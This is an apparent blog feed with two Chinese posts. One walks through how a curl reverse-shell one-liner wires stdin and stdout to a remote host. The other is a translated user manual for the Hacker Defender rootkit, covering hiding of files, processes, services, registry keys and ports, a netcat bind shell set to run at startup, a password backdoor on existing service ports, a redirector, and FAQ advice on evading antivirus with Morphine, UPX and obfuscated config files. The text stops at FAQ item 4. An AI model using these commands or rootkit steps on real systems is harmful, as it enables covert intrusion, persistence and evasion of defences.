主机安全 – 若水斋 https://blog.werner.wiki Try harder Tue, 16 Feb 2021 02:19:48 +0000 zh-Hans hourly 1 https://wordpress.org/?v=6.8.3 https://blog.werner.wiki/wp-content/uploads/2018/11/cropped-ql1-1-32x32.jpg 主机安全 – 若水斋 https://blog.werner.wiki 32 32 curl 反弹 shell 原理 https://blog.werner.wiki/curl-reverse-shell-principle/ https://blog.werner.wiki/curl-reverse-shell-principle/#respond Tue, 16 Feb 2021 02:19:48 +0000 https://blog.werner.wiki/?p=1842 &-;} 3>&1|: 的工作原理。]]> 在某社交网站上看到一句 curl 反弹 shell 命令:

{ curl -sNkT . https://$LHOST:$LPORT </dev/fd/3| sh 3>&-;} 3>&1|:

这句命令就像魔法一样神奇,和常见的反弹 shell 命令大相径庭。我花了些时间才理解它是如何工作的。

本文将简要叙述它的工作原理,但不会涉及反弹 shell 的基础知识。如果读者缺乏这些基础知识,可参考《Linux反弹shell(一)文件描述符与重定向》和《Linux 反弹shell(二)反弹shell的本质》。

预备知识

冒号

命令的最后一个字符冒号是个鲜为人知的 Bash 内置命令,用 man bash 查看手册可以找到如下的说明:

: [参数]
    无效;除了扩展参数和执行任何指定的重定向外,该命令没有任何作用。返回的退出码为 0。

花括号

在 Bash 中,花括号有多种不同的用法,详情见《浅析 Bash 中的 {花括号}》。在我们尝试理解的魔法命令中用到了其中一种:可以在花括号中写多条命令,这些命令构成一个命令组,花括号后的重定向将对命令组中所有命令生效。

例如执行如下命令:

{ echo 1 ; echo 2 ; } > out.txt

会发现屏幕没有任何输出,out.txt 的内容是:

1
2

可见两条 echo 命令的标准输出都被重定向到了文件 out.txt

需要注意的是,命令组中最后一条命令的后面也需要添加分号,以明确标识命令结束,否则 Bash 的语法解析器将无法正确解析。

另外,命令组的重定向优先级低于组内命令自身的重定向。例如执行如下命令:

{ echo 1 > inner.txt ; echo 2 ; } > outer.txt

会发现第一个 echo 命令的输出被重定向到了 inner.txt,而不是 outer.txt

/dev/fd/

/dev/fd/ 是指向 /proc/self/fd 的软链接。

$ ls -l /dev/fd
lrwxrwxrwx 1 root root 13 Jan 30 12:23 /dev/fd -> /proc/self/fd

/proc/self 是一个特殊的软链接。当有进程查询该软链接的值时,Linux 内核会将 /proc/self 指向 /proc/<该进程的 PID>

curl 参数

使用 man curl 可以查询到魔法命令中 curl 各个参数的含义,整理后列举如下:

  • -s, –silent:不显示进度或错误信息。但仍会传输指定数据或输出内容到 stdout
  • -N, –no-buffer:禁用输出流的缓冲功能。正常情况下,curl 会使用一个标准的缓冲输出流,它的作用是将数据分块输出,而不是数据到达后立即输出。可使用该选项禁用这种缓冲。
  • -k, –insecure:忽略证书错误。
  • -T, –upload-file :上传指定本地文件到远程 URL。可用 - 做文件名以从 stdin 读取文件内容;也可用 . 做文件名,以非阻塞模式从 stdin 读取文件内容。非阻塞模式是指可从 stdin 读取文件内容的同时读取服务端输出。

语法分析

为理解魔法命令,我们先对其进行语法分析。

魔法命令被倒数第二个字符 | (管道)分为前后两部分,如下图所示。

                                                                       +-------+
                                                                       |       |
                                                                       |   |   |
                                                                       |       |
                                                                       +-+---+-+
                                                                         |   |
+-----------------------------------------------------------------+      |   |       +-------+
|                                                                 |      |   |       |       |
| { curl -sNkT . https://$LHOST:$LPORT </dev/fd/3| sh 3>&-;} 3>&1 +------+   +-------+   :   |
|                                                                 |                  |       |
+-----------------------------------------------------------------+                  +-------+

前半部分是写在花括号中的命令组,命令组中包含由管道连接的两条命令,如下图所示。

                                +-------+
                                |       |
                                |   |   |
                                |       |
                                +-+---+-+
                                  |   |
              +------------+      |   |       +-------+
              |            |      |   |       |       |
              | {...} 3>&1 +------+   +-------+   :   |
              |            |                  |       |
              +------+-----+                  +-------+
                     |
              +------+-----+
              |            |
              |      |     |
              |            |
              +---+---+----+
                  |   |
                  |   +-------------------------------------+
                  |                                         |
+-----------------+------------------------------+    +-----+----+
|                                                |    |          |
|  curl -sNkT . https://$LHOST:$LPORT </dev/fd/3 |    | sh 3>&-; |
|                                                |    |          |
+------------------------------------------------+    +----------+

fd 重定向分析

完成语法分析后可对 fd 重定向情况进行分析。

假设执行这条命令的 Bash 的 stdinstdout 都是 pts/0。外层 |(倒数第二个字符)产生的匿名管道为 pipe1,内层 |(curl 和 sh 之间的管道)产生的匿名管道为 pipe2

可标注出外层 | 前后命令的 fd 如下图所示。

                                                                       +-------+
                                                                       |       |
                                                                       |   |   |
                                                                       |       |
                                                                       +-+---+-+
                                                                         |   |
+-----------------------------------------------------------------+      |   |       +-------+
|                                                                 |      |   |       |       |
| { curl -sNkT . https://$LHOST:$LPORT </dev/fd/3| sh 3>&-;} 3>&1 +------+   +-------+   :   |
|                                                                 |                  |       |
+-----------------------------------------------------------------+                  +-------+

                         stdin : pts/0                                              stdin : pipe1
                         stdout: pipe1                                              stdout: pts/0

命令组后的 3>&1 将 fd 3 重定向到了 fd 1,即 stdout,如下图所示。

                                                                  +-------+
                                                                  |       |
                                                                  |   |   |
                                                                  |       |
                                                                  +-+---+-+
                                                                    |   |
+------------------------------------------------------------+      |   |       +-------+
|                                                            |      |   |       |       |
| { curl -sNkT . https://$LHOST:$LPORT </dev/fd/3| sh 3>&-;} +------+   +-------+   :   |
|                                                            |                  |       |
+------------------------------------------------------------+                  +-------+

                         stdin : pts/0                                         stdin : pipe1
                         stdout: pipe1                                         stdout: pts/0
                         fd 3  : pipe1

命令组中的命令会继承 {} 的 fd,同时命令组中两条命令也由一个管道连接,综合这两点可标注出 curl 和 sh 的 fd 如下图所示。

                                 +-------+
                                 |       |
                                 |   |   |
                                 |       |
                                 +-+---+-+
                                   |   |
               +------------+      |   |       +-------+
stdin : pts/0  |            |      |   |       |       |
stdout: pipe1  | {...} 3>&1 +------+   +-------+   :   |
fd 3  : pipe1  |            |                  |       |
               +------+-----+                  +-------+
                      |
               +------+-----+                 stdin : pipe1
               |            |                 stdout: pts/0
               |      |     |
               |            |
               +---+---+----+
                   |   |
                   |   +-------------------------------------+
                   |                                         |
 +-----------------+------------------------------+    +-----+----+
 |                                                |    |          |
 |  curl -sNkT . https://$LHOST:$LPORT </dev/fd/3 |    | sh 3>&-; |
 |                                                |    |          |
 +------------------------------------------------+    +----------+

                 stdin : pts/0                         stdin : pipe2
                 stdout: pipe2                         stdout: pipe1
                 fd 3  : pipe1                         fd 3  : pipe1

curl 和 sh 各自又有一个重定向。curl 的 </dev/fd/3 表示把 stdin 重定向为 fd 3,即 pipe1。sh 的 3>&- 表示关闭 fd 3。考虑到这两个重定向,最后可得到下图。

                                 +-------+
                                 |       |
                                 |   |   |
                                 |       |
                                 +-+---+-+
                                   |   |
               +------------+      |   |       +-------+
stdin : pts/0  |            |      |   |       |       |
stdout: pipe1  | {...} 3>&1 +------+   +-------+   :   |
fd 3  : pipe1  |            |                  |       |
               +------+-----+                  +-------+
                      |
               +------+-----+                 stdin : pipe1
               |            |                 stdout: pts/0
               |      |     |
               |            |
               +---+---+----+
                   |   |
                   |   +-------------------------------------+
                   |                                         |
 +-----------------+--------------------+              +-----+----+
 |                                      |              |          |
 |  curl -sNkT . https://$LHOST:$LPORT  |              |    sh    |
 |                                      |              |          |
 +--------------------------------------+              +----------+

                stdin : pipe1                          stdin : pipe2
                stdout: pipe2                          stdout: pipe1
                fd 3  : pipe1

从上图可以很清晰地看出,curl 的 stdin 和 sh 的 stdout、 sh 的 stdin 和 curl 的 stdout 分别通过匿名管道 pipe1pipe2 相连。

工作原理

至此,我们已经基本弄清了魔法命令的工作原理,总结如下:利用 Bash 语法:命令组、管道和重定向等让 curl 命令和 sh 命令的 stdinstdout 交错相连;又添加 -T 等参数和文件名 . 让 curl 读取 stdin 的内容发送到服务端,同时读取服务端返回的数据并输出到 stdout

遗留问题

为何要关闭 sh 命令的 fd 3?

测试发现其实不关闭 sh 命令的 fd 3 反弹 shell 也可以正常工作。

: 命令的作用是什么?

建立匿名管道 pipe1,且 : 命令不会去读 pipe1,不影响反弹 shell 工作。如果把 : 换成同样不会读 stdintrue 命令,反弹 shell 仍然可以工作,但如果换成会读 stdin 的命令如 cat,反弹 shell 就无法工作了。

]]>
https://blog.werner.wiki/curl-reverse-shell-principle/feed/ 0
[译]Hacker defender中文使用说明 https://blog.werner.wiki/hacker-defender-chinese-readme/ https://blog.werner.wiki/hacker-defender-chinese-readme/#respond Fri, 29 Dec 2017 10:50:25 +0000 http://blog.werner.wiki/?p=399 0.目录
  • 1.基本信息
  • 2.简介
    • 2.1 原理
    • 2.2 许可
  • 3.用法
  • 4.配置文件
  • 5.后门
    • 5.1 重定向程序
  • 6.技术讨论
    • 6.1 版本
    • 6.2 被hook的API
    • 6.3 已知bug
  • 7.问答
  • 8.文件清单

1.基本信息

2.简介

Hacker defender(简称hxdef)是一个针对Windows NT 4.0、Windows 2000、Windows XP和Windows Server 2003的Rootkit,它也许也可以工作在最新的Windows NT系统上。(译者注:经测试,hxdef在WinXP Sp3上运行状况良好,而在Win7上运行状况不佳,无法隐藏文件夹,无法连接后门,有时也无法隐藏文件,其余功能未测试。毕竟Win7发布于2009年而hxdef写作于2005年。)
主代码是用Delphi开发的,新的功能是用汇编写的,驱动程序是用C语言开发的。支持程序(后门和
重定向程序客户端)主要用Delphi开发。

程序使用了改写过的的LDE32(32比特长度的反汇编引擎,Z0MBiE在1999至2000年间写的一个特制的恢复工具 ,版本号是1.05),还使用了Jacky Qwerty/29A在1998年写的速度超快、体积超小的加密库。

2.1 原理

本程序的主要原理是重写所有运行中的进程的一点内存段,重写导致进程行为改变的基础模块。重写必须不影响系统或正在运行的进程的稳定性。

程序对外必须绝对隐藏。现在用户可以隐藏文件、进程、系统服务、系统驱动、注册表键和值以及开放的端口,并能够伪造磁盘剩余空间。程序也会改变内存并隐藏隐藏进程的句柄。程序可安装隐藏后门、注册并隐藏系统服务并可安装隐藏系统驱动。后门技术允许植入重定向程序。

2.2 许可

本程序自1.0.0版本开放源代码,但同时存在具有高级特性的商业版。

当然本程序作者对你使用本程序所造成的后果概不负责。

3.用法

hxdef的用法十分简单:

>hxdef100.exe [inifile]

>hxdef100.exe [选项] 

当你不指定配置文件或是使用选项运行hxdef时,默认配置文件的后缀为.ini,文件名和可执行程序的文件名相同。例如运行“hxdef100.exe”,配置文件就是“hxdef100.ini”。

下面这些选项是有效的:

    -:installonly   -       仅安装服务,但不运行
    -:refresh       -       使用此参数从配置文件中更新设置
    -:noservice     -       不安装服务仅正常地运行
    -:uninstall     -       从内存中移除hxdef并杀死所有后门连接,同时停止hxdef服务

例子:

>hxdef100.exe -:refresh

hxdef自带了不用做任何修改就可以运行的配置文件。但极力推荐创建你自己的配置文件。关于配置文件的更多信息见 4.配置文件。

选项“-:refresh”和“-:uninstall”仅可从最初始的可执行文件调用。这意味着你必须知道hxdef的路径和名称,这样你才可以改变配置或卸载它。

4.配置文件

配置文件必须包含以下十个部分:

  • [Hidden Table]
  • [Hidden Processes]
  • [Root Processes]
  • [Hidden Services]
  • [Hidden RegKeys]
  • [Hidden RegValues]
  • [Startup Run]
  • [Free Space]
  • [Hidden Ports]
  • [Settings]

在[Hidden Table]、[Hidden Processes]、[Root Processes]、[Hidden Services]和[Hidden RegValues]中可以在字符串末尾使用“*”作为通配符。星号仅可用在字符串末尾,任何在第一个星号后的字符都将被忽略。
字符串首位的空格也都将被忽略。

如:

[Hidden Table]
hxdef*

将隐藏所有以“hxdef”开头的文件、目录和进程。

[Hidden Table]是将被隐藏的文件和目录的列表。这个列表中的文件和目录不会在文件管理器中出现。
确保主程序、配置文件、你的后门文件和驱动文件包含在这个列表中。

[Hidden Processes]是将被隐藏的进程的列表。该列表中的进程不会出现在系统的进程列表中。确保主程序和后门程序在这个列表中。

[Root Processes]列表中的程序不受影响,只有这些程序可查看隐藏文件、目录和程序。所以,这些程序也就是本Rootkit的管理者。值得一提的是某程序出现在该列表中不意味着会被隐藏,可能没有隐藏。反之亦然。

[Hidden Services]是将在已安装服务和驱动数据库中隐藏的服务和驱动名列表。本Rootkit主程序服务名默认是HackerDefender100,驱动名默认是HackerDefenderDrv100。这些在配置文件中都可以修改。

[Hidden RegKeys]是将会被隐藏的注册表键的列表。 本Rootkit在注册表中默认有四个键HackerDefender100、LEGACY_HACKERDEFENDER100、HackerDefenderDrv100和LEGACY_HACKERDEFENDERDRV100。如果你重命名了服务名或驱动名,你也应该修改这个列表。服务和驱动程序的前两个注册表键与名称相同。接下来的两个是LEGACY_NAME。例如你想将服务名改为BoomThisIsMySvc,对应地,注册表项应改为LEGACY_BOOMTHISISMYSVC。

[Hidden RegValues]是将会被隐藏的注册表值的列表。

[Startup Run]是本Rootkit运行后自动启动的程序的列表。这些程序有着和本Rootkit相同的权限。
程序名和参数用问号分割。不要使用“””。当用户登录后程序将会结束。在用户登录后启动程序可使用常见和众所周知的方法。你可以使用下列缩写:

  • %cmd% – 代表系统shell路径和可执行程序(如: C:\winnt\system32\cmd.exe)
  • %cmddir% – 代表系统shell可执行程序所在目录(如: C:\winnt\system32\)
  • %sysdir% – 代表系统目录(如: C:\winnt\system32\)
  • %windir% – 代表Windows目录(如: C:\winnt\)
  • %tmpdir% – 代表临时目录(如: C:\winnt\temp\)

例(1):

[Startup Run]
c:\sys\nc.exe?-L -p 100 -t -e cmd.exe

netcat在Rootkit启动后会自动运行并监听100端口。

例(2):

[Startup Run]
%cmd%?/c echo Rootkit started at %TIME%>> %tmpdir%starttime.txt

例(2)的效果是每当Rootkit启动就保存启动时间到“临时目录\starttime.txt”(如:C:\winnt\temp\starttime.txt)。(%TIME%仅在Windows 2000或更高的系统中有效)

[Free Space]是盘符和想要增加的空闲空间的字节数的列表。此列表中每项的格式是“X:NUM”,“X”是代表磁盘分区的字母,“NUM”是加在该分区上空闲空间的字节数。例如下例将给C盘添加大约123MB的空闲磁盘空间。

[Free Space]
C:123456789

[Hidden Ports]是要隐藏的端口的列表。它共有三行。第一行的格式是“TCPI:端口1,端口2,端口3,…”,第二行的格式是“TCPO:端口1,端口2,端口3,…”,第三行的格式是“UDP:端口1,端口2,端口3,…”。

例(1)将隐藏两个TCP入端口8080和456:

[Hidden Ports]
TCPI:8080,456
TCPO:
UDP:

例(2)将隐藏一个TCP出端口8001:

[Hidden Ports]
TCPI:
TCPO:8001
UDP:

例(3)将隐藏五个UDP端口:

[Hidden Ports]
TCPI:
TCPO:
UDP:53,54,55,56,800

[Settings]包含以下8个值:

  • 密码
  • 后门shell
  • 文件映射名
  • 服务名
  • 服务显示名
  • 服务描述
  • 驱动名
  • 驱动文件名

密码是一个16个字符的字符串,当使用后门或重定向程序时会用到它。密码可以更短些,将会用空格填充。
后门shell是后门程序将系统shell文件复制到临时目录中后的文件名。
文件映射名是为被存储的hook进程进行设置的共享内存的名字。
服务名是本Rootkit服务的名字。
服务显示名是本Rootkit服务显示的名字。
服务描述是本Rootkit服务的描述。
驱动名是hxdef的驱动的名字。
驱动文件名是hxdef的驱动文件的名字。

例如:

[Settings]
Password=hxdef-rulez
BackdoorShell=hxdef?.exe
FileMappingName=_.-=[Hacker Defender]=-._
ServiceName=HackerDefender100
ServiceDisplayName=HXD Service 100
ServiceDescription=powerful NT rootkit
DriverName=HackerDefenderDrv100
DriverFileName=hxdefdrv.sys

上述配置设置密码为“hxdef-rulez”;后门程序将复制系统shell文件(通常名为cmd.exe)到临时目录并命名为“hxdef?.exe”;共享内存将会被命名为“.-=[Hacker Defender]=-.”;服务将会被命名为“HackerDefender100”,它显示的名字是“HXD Service 100”,它的描述是“poweful NT rootkit”;
驱动被命名为“HackerDefenderDrv100”,驱动在文件中将会被叫做“hxdefdrv.sys”。

额外字符 |, <, >, :, \, / 和 ” 在所有行中都会被忽略,除了[Startup Run]、[Free Space]和[Hidden Ports]项以及[Settings]中第一个“=”号之后的值。使用额外字符可以让你的配置文件对杀毒系统免疫。

例如:

[H<<<idden T>>a/"ble]
>h"xdef"*

和下面的配置是等效的:

[Hidden Table]
hxdef*

从文件 hxdef100.ini 和 hxdef100.2.ini 中可以看到更多实例。(译者注:这两个文件是Hacker defender的默认配置文件)

除了[Settings]和[Startup Run]外,所有配置文件中的字符都不区分大小写。

5.后门

本Rootkit程序hook了一些从网络上接受数据的API函数。如果收到的数据长度等于256比特,密码和服务被验证,则将临时创建一个复制的shell,它的实例创建后下次接受到的数据将被重定向到这个shell。

因为Rootkit程序hook了系统中的所有进程,故而系统中所有服务的所有TCP端口都是后门。例如,如果目标为HTTP而开放了TCP的80端口,那么这个端口将会成为一个有效的后门。例外是系统进程打开的端口不会被hook。这种后门仅仅工作在服务器接收数据的缓冲区大于等于256比特时。但几乎所有标准服务如Apache、IIS和Oracle都满足这一条件。这种后门是隐蔽的因为它的数据包是在系统的公共服务上收发的。所以,使用经典的端口扫描器发现不了这种后门,而且这种后门很容易穿过防火墙。除此之外,后门还可以为FTP或HTTP协议提供典型代理。

在IIS服务器上的测试发现HTTP服务没有记录这种连接的任何日志,FTP和SMTP服务仅仅在最后记录了连接断开。所以,如果你运行hxdef的服务器上有IIS的Web服务,HTTP端口可能是这台机器上用于后门连接的最好端口。

如果你想连接后门,你必须使用特制的客户端。程序bdcli100.exe就是用来干这个的。

用法:bdcli100.exe 主机 端口 密码

如:

>bdcli100.exe www.windowsserver.com 80 hxdef-rulez

如果你之前获得了www.windowsserver.com的root权限并以默认密码留下hxdef,上述命令将会连接后门。

此版本(1.0.0)的客户端不兼容老版本的服务器端程序。

5.1 重定向程序

重定向程序基于后门技术。第一个连接包和后门连接一样。这意味着你可以使用和后门同样的端口。重定向程序接下来的数据包是特别的。这些数据包是运行在用户电脑上的重定向基程序生成的。重定向连接的第一个包定义了服务器和端口。

重定向基程序保存它的配置信息到名字和重定向基程序相同的.ini文件中(所以默认就是rdrbs100.ini)。若运行时该文件不存在则会自动创建。最好不要修改该文件,所有配置都可以在控制台设置。

如果我们想在安装了Rootkit的服务器上使用重定向程序,我们必须先在本地主机上运行重定向基程序。然后我们必须在重定向基程序的控制台创建指向运行hxdef的服务器的端口路由映射。最后我们可以在本地主机上连接选中的端口并传输数据,重定向数据是用Rootkit密码编码过的。在这个版本中重定向程序被决定不使用高速连接,连接速度被限制在大约256kBps。重定向程序也被运行Rootkit的系统限制。重定向程序仅使用TCP协议。

在这个版本中重定向基程序由19个命令控制,均不区分大小写。输入HELP命令可看到它们的功能描述。重定向基程序启动时会执行启动列表中的命令。启动列表中的命令是用以SU开头的命令编辑的。

重定向程序区别两种连接:HTTP和其他。若连接是其他类型的则数据包不做改变,若是HTTP类型的则改变HTTP头中Host参数为目标服务器。重定向基程序的最大值是1000。

重定向基程序只有在NT系统中才可以充分地工作。只有在NT系统中,程序有系统托盘图标且你可用HIDE命令隐藏控制台。只有在NT系统中,重定向基程序可以以没有输出的静默模式运行,没有图标,只执行启动列表中的命令。

例(1).获取映射端口信息:

    >MPINFO
    No mapped ports in the list.

例(2).将命令MPINFO添加到启动列表并查看启动列表中全部命令:

    >SUADD MPINFO
    >sulist
    0) MPINFO

例(3).使用HELP命令:

    >HELP
    Type HELP COMMAND for command details.
    Valid commands are:
    HELP, EXIT, CLS, SAVE, LIST, OPEN, CLOSE, HIDE, MPINFO, ADD, DEL, 
    DETAIL, SULIST, SUADD, SUDEL, SILENT, EDIT, SUEDIT, TEST
    >HELP ADD
    Create mapped port. You have to specify domain when using HTTP type.
    usage: ADD <LOCAL PORT> <MAPPING SERVER> <MAPPING SERVER PORT> <TARGET 
    SERVER> <TARGET SERVER PORT> <PASSWORD> [TYPE] [DOMAIN]
    >HELP EXIT
    Kill this application. Use DIS flag to discard unsaved data.
    usage: EXIT [DIS]

例(4).添加端口映射,我们想监听本地主机的TCP端口100,Rootkit被安装在服务器200.100.2.36,并打开了80端口,Rootkit的密码是“bIgpWd”,目标是www.google.com的80端口,连接类型是HTTP,目标服务器的IP地址——众所周知——是216.239.53.100:

    >ADD 100 200.100.2.36 80 216.239.53.100 80 bIgpWd HTTP www.google.com

命令ADD可不加任何参数运行,若是这样,每个参数会被分别询问。

例(5).用MPINFO命令检查端口映射:

    >MPINFO
    There are 1 mapped ports in the list. Currently 0 of them open.

例(6).枚举端口映射列表:

    >LIST
    000) :100:200.100.2.36:80:216.239.53.100:80:bIgpWd:HTTP

例(7).查看某个端口映射的详细描述:

    >DETAIL 0
    Listening on port: 100
    Mapping server address: 200.100.2.36
    Mapping server port: 80
    Target server address: 216.239.53.100
    Target server port: 80
    Password: bIgpWd
    Port type: HTTP
    Domain name for HTTP Host: www.google.com
    Current state: CLOSED

例(8).测试在映射服务器200.100.2.36时Rootkit是否没有使用密码就被安装(若我们已知相关信息则没有必要测试):

    >TEST 0
    Testing 0) 200.100.2.36:80:bIgpWd - OK

若失败它将返回:

    Testing 0) 200.100.2.36:80:bIgpWd - FAILED

例(9).若在我们使用之前端口仍然处于关闭状态,我们必须用OPEN命令打开它,当它是打开的时我们可以使用CLOSE命令关闭它。当我们想对列表中所有端口执行该命令时,可使用标志ALL。要求的动作执行后的当前状态在一段时间后写入:

    >OPEN 0
    Port number 0 opened.
    >CLOSE 0
    Port number 0 closed.

或:

    >OPEN ALL
    Port number 0 opened.

例(10). 使用SAVE命令可保存当前设置和列表到配置文件中(在执行没有DIS标志的命令EXIT后也会自动保存配置):

    >SAVE
    Saved successfully.

打开的端口都是我们传输数据所需要的。现在你可以打开你最喜欢的浏览器并输入“http://localhost:100/”。若没有问题,你应该能看到“www.google.com”被加载。

连接的第一个包可能有5秒的延迟,但其他的只是服务器端有速度限制。这个版本中你的重定向程序的网络连接限速是256kBps。

6.技术讨论

这节内容对普通用户来说很无趣。这节的读者应该是测试人员和开发人员。

6.1 版本

1.0.0 revisited
        +       compiler define for disabling NtOpenFile hook
        +       outbound TCP connection hiding
        +       separation between hidden files and processes - Hidden Processes
        +       hidden files in Prefetch are deleted during initialization
        +       disabling incompatible McAfee Buffer Overflow protection 
        x       found and fixed several bugs, source code cleanup        

1.0.0   +       open source

0.8.4   +       French readme
        +       hook of NtCreateFile to hide file operations
        +       hxdef mailslot name is dynamic
        +       switch -:uninstall for removing and updating hxdef
        +       -:refresh can be run from original .exe file only
        +       new readme - several corrections, more information, faq
        +       shortcuts for [Startup Run]
        +       free space cheating via NtQueryVolumeInformationFile hook
        +       open ports hiding via NtDeviceIoControlFile hook
        +       much more info in [Comments] in inifile
        +       supporting Ctrl+C in backdoor session
        +       FileMappingName is an option now
        +       Root Processes running on the system level
        +       handles hiding via NtQuerySystemInformation hook class 16
        +       using system driver
        +       antiantivirus inifile
        +       more stable on Windows boot and shutdown
        +       memory hiding improved
        -       found bug in backdoor client when pasting data from clipboard
        x       found and fixed bug in service name
        x       found and fixed increasing pid bug fixed via NtOpenProcess hook
        x       found and fixed bug in NtReadVirtualMemory hook
        x       found and fixed several small bugs
        x       found and fixed backdoor shell name bug fix

0.7.3   +       direct hooking method
        +       hiding files via NtQueryDirectoryFile hook
        +       hiding files in ntvdm via NtVdmControl hook
        +       new process hooking via NtResumeThread hook
        +       process infection via LdrInitializeThunk hook
        +       reg keys hiding via NtEnumerateKey hook
        +       reg values hiding via NtEnumerateValueKey hook
        +       dll infection via LdrLoadDll hook
        +       more settings in inifile
        +       safemode support
        +       masking memory change in processes via NtReadVirtualMemory hook
        x       fixed debugger bug
        x       fixed w2k MSTS bug
        x       found and fixed zzZ-service bug

0.5.1   +       never more hooking WSOCK 
        x       fixed bug with MSTS

0.5.0   +       low level redir based on backdoor technique
        +       password protection
        +       name of inifile depends on exefile name
        +       backdoor stability improved
        -       redirectors conection speed is limited about 256 kBps,
                imperfect implementation of redirector,
                imperfect design of redirector
        -       found chance to detect rootkit with symbolic link objects
        -       found bug in connection with MS Termnial Services
        -       found bug in hidding files in 16-bit applications
        x       found and fixed bug in services enumeration
        x       found and fixed bug in hooking servers

0.3.7   +       possibility to change settings during running
        +       wildcard in names of hidden files, process and services
        +       possibility to add programs to rootkit startup
        x       fixed bug in hidding services on Windows NT 4.0

0.3.3   +       stability realy improved
        x       fixed all bugs for Windows XP
        x       found and fixed bug in hiding in registry
        x       found and fixed bug in backdoor with more clients

0.3.0   +       connectivity, stability and functionality of backdoor improved 
        +       backdoor shell runs always on system level 
        +       backdoor shell is hidden 
        +       registry keys hiding
        x       found and fixed bug in root processes
        -       bug in XP after reboot

0.2.6   x       fixed bug in backdoor

0.2.5   +       fully interactive console
        +       backdoor identification key is now only 256 bits long
        +       improved backdoor installation
        -       bug in backdoor

0.2.1   +       always run as service

0.2.0   +       system service installation 
        +       hiding in database of installed services 
        +       hidden backdoor
        +       no more working with windows

0.1.1   +       hidden in tasklist
        +       usage - possibility to specify name of inifile
        x       found and then fixed bug in communication
        x       fixed bug in using advapi
        -       found bug with debuggers

0.1.0   +       infection of system services
        +       smaller, tidier, faster code, more stable program
        x       fixed bug in communication

0.0.8   +       hiding files
        +       infection of new processes
        -       can't infect system services
        -       bug in communication

6.2 被hook的API

被hooke的API函数列表:

  • Kernel32.ReadFile
  • Ntdll.NtQuerySystemInformation (class 5 a 16)
  • Ntdll.NtQueryDirectoryFile
  • Ntdll.NtVdmControl
  • Ntdll.NtResumeThread
  • Ntdll.NtEnumerateKey
  • Ntdll.NtEnumerateValueKey
  • Ntdll.NtReadVirtualMemory
  • Ntdll.NtQueryVolumeInformationFile
  • Ntdll.NtDeviceIoControlFile
  • Ntdll.NtLdrLoadDll
  • Ntdll.NtOpenProcess
  • Ntdll.NtCreateFile
  • Ntdll.NtOpenFile
  • Ntdll.NtLdrInitializeThunk
  • WS2_32.recv
  • WS2_32.WSARecv
  • Advapi32.EnumServiceGroupW
  • Advapi32.EnumServicesStatusExW
  • Advapi32.EnumServicesStatusExA
  • Advapi32.EnumServicesStatusA

6.3已知bug

这个版本有一个已知bug:

后门客户端在使用右键单击或使用控制菜单从粘贴板粘贴数据后可能会崩溃。如果运行程序的控制台支持,你可以使用Ctrl+Ins或Shift+Ins从粘贴板粘贴数据。

如果你认为你找到了一个bug请在rootkit@host.sk上的公告板报告它(若你是测试人员,请在测试板报告它)。但要确定你阅读过使用说明的问答章节、计划表和公告区,在你写之前你没有找到关于你想写的东西的任何信息。

7.问答

因为在公告板中有许多简单的问题,所以我意识到需要在使用说明中创建问答章节。在你问任何问题前阅读此使用说明两遍并特别仔细阅读本问答章节。然后阅读公告板中已有信息。做完这些之后你确定你仍然无法找到答案,再到公告板提问。

问题如下所示:

  1. 我下载并运行了hxdef,但我卸不掉它。我看不到它的进程、服务和文件,我该如何卸载它?
  2. 有人入侵我的电脑并安装了hxdef,我卸不掉它。我该如何卸载安装在我机器上的hxdef和所有后门?
  3. 这个程序能被杀毒软件检测到吗?如何能,有什么方法避免杀软检测吗?
  4. 我为何不能在目标系统已打开TCP端口135、137、138、139或445时连接后门?
  5. 有办法隐藏文件在磁盘上可见的进程吗?
  6. 如何隐藏svchost.exe以及其他我能在进程列表中看到的进程?
  7. 我正在使用DameWare,我可以看到所有服务以及其他应该被隐藏的东西。这是个bug吗?
  8. 但任何人通过NetBIOS都能看到我隐藏的文件,我该怎么做?
  9. 后门客户端不工作。所有事情看上去都是对的,但在连接之后我无法输入任何东西且整个控制屏幕都是黑的。我应该怎么办?
  10. 我何时能得到新版本?
  11. net.exe命令可以结束隐藏服务,这是个bug吗?
  12. 有什么办法检测这个Rootkit吗?
  13. 所以,检测hxdef有多难?有人写出做这事的程序了吗?
  14. 所以,我该如何检测它?
  15. 以0开头的版本号意味着不稳定版本吗?
  16. 你何时将公开源码?我听说1.0.0版本源码会公开,但什么时候呢?
  17. 我想成为测试员,我该做什么?
  18. 使用hxdef合法吗?
  19. 有可能在机器上升级老版本的hxdef吗?可以不重启吗?
  20. 有可能在机器上升级这一版本的hxdef为将来的新版吗?可以不重启吗?
  21. 使用“-:uninstall”还是使用“net”停止ServiceName更好?
  22. 我很喜欢这个程序。我可以小额赞助支持你的工作吗?
  23. 有可能隐藏“C:\temp”而不隐藏“C:\winnt\temp”吗?
  24. 我可以在配置文件中看到明文密码!这怎么可能呢?
  25. 如果我在[Hidden Processes]中隐藏了一个进程,该进程在监听一个端口,该端口是自动隐藏的呢还是要我在[Hidden Ports]中隐藏它?

答案如下:

(1)

问:我下载并运行了hxdef,但我卸不掉它。我看不到它的进程、服务和文件,我该如何卸载它?

答:若是默认设置你可运行如下shell命令停止服务:

    >net stop HackerDefender100

hxdef被实现为停止服务后会完全卸载。这和“-:uninstall”有相同的效果且你不用知道hxdef在哪里。

如果你在配置文件中修改了服务名,在输入上述命令时要输入相应的服务名:

    >net stop 服务名

若忘记了服务名,你可以从CD启动你的系统寻找hxdef配置文件并从中查看服务名,然后按上述方法停止它。

(2)

问:有人入侵我的电脑并安装了hxdef,我卸不掉它。我该如何卸载安装在我机器上的hxdef和所有后门?

答:仅有的100%解决问题的方法是重装系统。但如果你想卸载它你需要像上面问题(1)中那样找到配置文件。在从你的系统中通过配置文件卸载hxdef后你需要找到配置文件列表中的所有文件,验证和检测它们是否属于攻击者。

(3)

问:这个程序能被杀毒软件检测到吗?如何可以,有什么方法避免杀软检测吗?

答: 是的。不仅可执行文件会被检测,少数杀毒系统还会检测配置文件和驱动文件。第二个问题的回答是肯定的,很容易就可躲避检测。在hxdef主站点上可找到一个名为Morphine的工具。若你用Morphine对hxdef的可执行文件进行处理,你将得到一个新的可执行文件,该文件不会被通常的杀毒系统检测到。配置文件也被设计为防检测。你可以添加额外字符到配置文件中以防止被杀毒系统检测到,详情参见 4.配置文件。看看自带的配置文件,两个示例配置文件是等效的,但第一个使用了额外字符,所以它不会被通常的杀毒系统检测到。也许使用Morphine前最好先用一下UPX。UPX将减小hxdef可执行文件的大小,Morphine将提供反反病毒保护。查看Morphine的使用说明获得更多信息。

(4)

